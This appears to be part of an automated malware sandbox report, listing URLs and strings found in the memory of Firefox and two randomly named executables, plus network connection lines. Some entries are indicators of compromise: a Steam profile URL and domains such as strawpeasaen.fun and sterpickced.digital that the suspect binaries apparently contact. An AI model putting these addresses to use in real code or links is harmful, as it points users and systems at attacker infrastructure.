Source: firefox.exe, 00000024.00000002.1770049300.000001486B10C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1770049300.000001486B103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1765607964.000001486AD65000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1746377532.0000014869D6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1770706460.000001486B2C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelCould
Source: 7f41c1bc85.exe, 00000006.00000003.1315406322.0000000000C93000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000002.1340640569.0000000000C93000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3886610711.0000000001288000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000002.3976734901.0000000001288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: 4bcefcec83.exe, 00000016.00000002.3976734901.0000000001288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/2)
Source: 7f41c1bc85.exe, 00000006.00000002.1340640569.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000003.1315406322.0000000000C93000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000003.1315406322.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000002.1340640569.0000000000C93000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3969467033.0000000001228000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000002.3975495813.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3886610711.0000000001288000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000002.3976734901.0000000001288000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000002.3976102613.0000000001228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128
Source: 4bcefcec83.exe, 00000016.00000003.3886610711.0000000001288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128(
Source: 4bcefcec83.exe, 00000016.00000002.3976734901.0000000001288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128j)
Source: 7f41c1bc85.exe, 00000006.00000003.1315406322.0000000000C93000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000002.1340640569.0000000000C93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128tyZ
Source: 4bcefcec83.exe, 00000016.00000003.3886610711.0000000001288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/z)
Source: 4bcefcec83.exe, 00000016.00000002.3975251616.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199822375128
Source: 4bcefcec83.exe, 00000016.00000002.3975251616.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199822375128ata
Source: 4bcefcec83.exe, 00000016.00000002.3975251616.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199822375128ndowscommunicationsapps_8wekyb3d8bbwe
Source: 4bcefcec83.exe, 00000016.00000002.3974403719.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sterpickced.digital/plSOz
Source: 7f41c1bc85.exe, 00000006.00000003.1315406322.0000000000C93000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000002.1340640569.0000000000C93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strawpeasaen.fun:443/apiUq
Source: firefox.exe, 00000024.00000002.1739397063.0000014867FBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1755936901.000001486A778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000024.00000003.1689791166.000001486A60E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.1799120110.0000014871E77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 4bcefcec83.exe, 00000016.00000003.3636738219.0000000005D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000024.00000002.1793221076.000001486D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 00000024.00000002.1793221076.000001486D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 00000024.00000002.1785528103.000001486CC51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: 4bcefcec83.exe, 00000016.00000003.3636738219.0000000005D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000024.00000002.1793221076.000001486D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000024.00000002.1793221076.000001486D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000024.00000002.1793221076.000001486D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000024.00000002.1793221076.000001486D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000024.00000002.1739397063.0000014867FBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1808945899.0000031879D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000024.00000002.1796327904.0000014871C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1741535515.00000148694C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000024.00000002.1779702282.000001486BC6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1808945899.0000031879D04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 4bcefcec83.exe, 00000014.00000003.2362640058.00000000016B7000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1739397063.0000014867F64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1755936901.000001486A77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1740195494.0000014869070000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000003.1597452182.0000014869783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000024.00000002.1805731357.0000014873288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1809649284.00001529C5B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 00000024.00000003.1668860510.00000148730E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000024.00000003.1596846145.0000014869722000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.1596237310.0000014869500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.1597248347.0000014869763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1740195494.0000014869070000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000003.1597452182.0000014869783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 4bcefcec83.exe, 00000014.00000003.2248598680.0000000005EB1000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3153179795.0000000001289000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeServiceTrying
Source: firefox.exe, 00000024.00000002.1731195338.0000014866960000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1740195494.0000014869070000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000003.1597452182.0000014869783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000024.00000002.1805731357.0000014873288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000024.00000003.1708540621.000001486AE33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hulu.com/watch/
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000024.00000003.1708540621.000001486AE33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/
Source: 4bcefcec83.exe, 00000014.00000003.2362640058.00000000016B7000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3666338301.0000000001265000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1739397063.0000014867F64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000024.00000002.1760995225.000001486AB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mobilesuica.com/
Source: firefox.exe, 00000024.00000002.1739397063.0000014867F21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1799120110.0000014871E62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1755936901.000001486A778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000024.00000002.1805731357.0000014873288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 4bcefcec83.exe, 00000016.00000003.3636738219.0000000005D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: firefox.exe, 00000024.00000003.1688267929.000001486A625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: 4bcefcec83.exe, 00000016.00000003.3636738219.0000000005D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: 4bcefcec83.exe, 00000014.00000003.2361497565.0000000005FD4000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3636738219.0000000005D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: 4bcefcec83.exe, 00000016.00000003.3636738219.0000000005D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000024.00000002.1770049300.000001486B10E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 00000024.00000002.1770049300.000001486B10E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/resource:///modules/QuickSuggest.sys.mjsresource:///modules/Urlb
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 00000024.00000002.1725456805.000001486525E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000024.00000002.1725456805.000001486525E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/L
Source: 4bcefcec83.exe, 00000014.00000003.2361497565.0000000005FD4000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3636738219.0000000005D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000024.00000002.1785528103.000001486CC7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1811370505.000030999BC6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000024.00000002.1799120110.0000014871E62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1741535515.00000148694C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1726196978.00000148653D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000024.00000002.1779702282.000001486BC6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1808945899.0000031879D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1799120110.0000014871E62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1741535515.00000148694C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000024.00000002.1793221076.000001486D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 00000024.00000003.1677230579.000001486C0A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000024.00000002.1788324648.000001486D179000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000024.00000002.1770049300.000001486B11C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 00000024.00000002.1714841260.0000002F165D8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.go
Source: firefox.exe, 00000024.00000003.1677230579.000001486C0A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000022.00000002.1582944006.0000029E50EF0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.1591112875.000001AAE8EEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000024.00000002.1722815184.0000014859A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdPO
Source: firefox.exe, 00000024.00000002.1714841260.0000002F165D8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdPPBd
Source: firefox.exe, 00000024.00000002.1770049300.000001486B11C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/accountDOM_VK_CLOSE_CURLY_BRACKET_checkAndSetExposurePropertiesMust
Source: firefox.exe, 00000024.00000002.1770049300.000001486B10E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comrichSuggestions.featureGategetOverflowingChildrenOfElementbrowser.newtabpage.enab

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
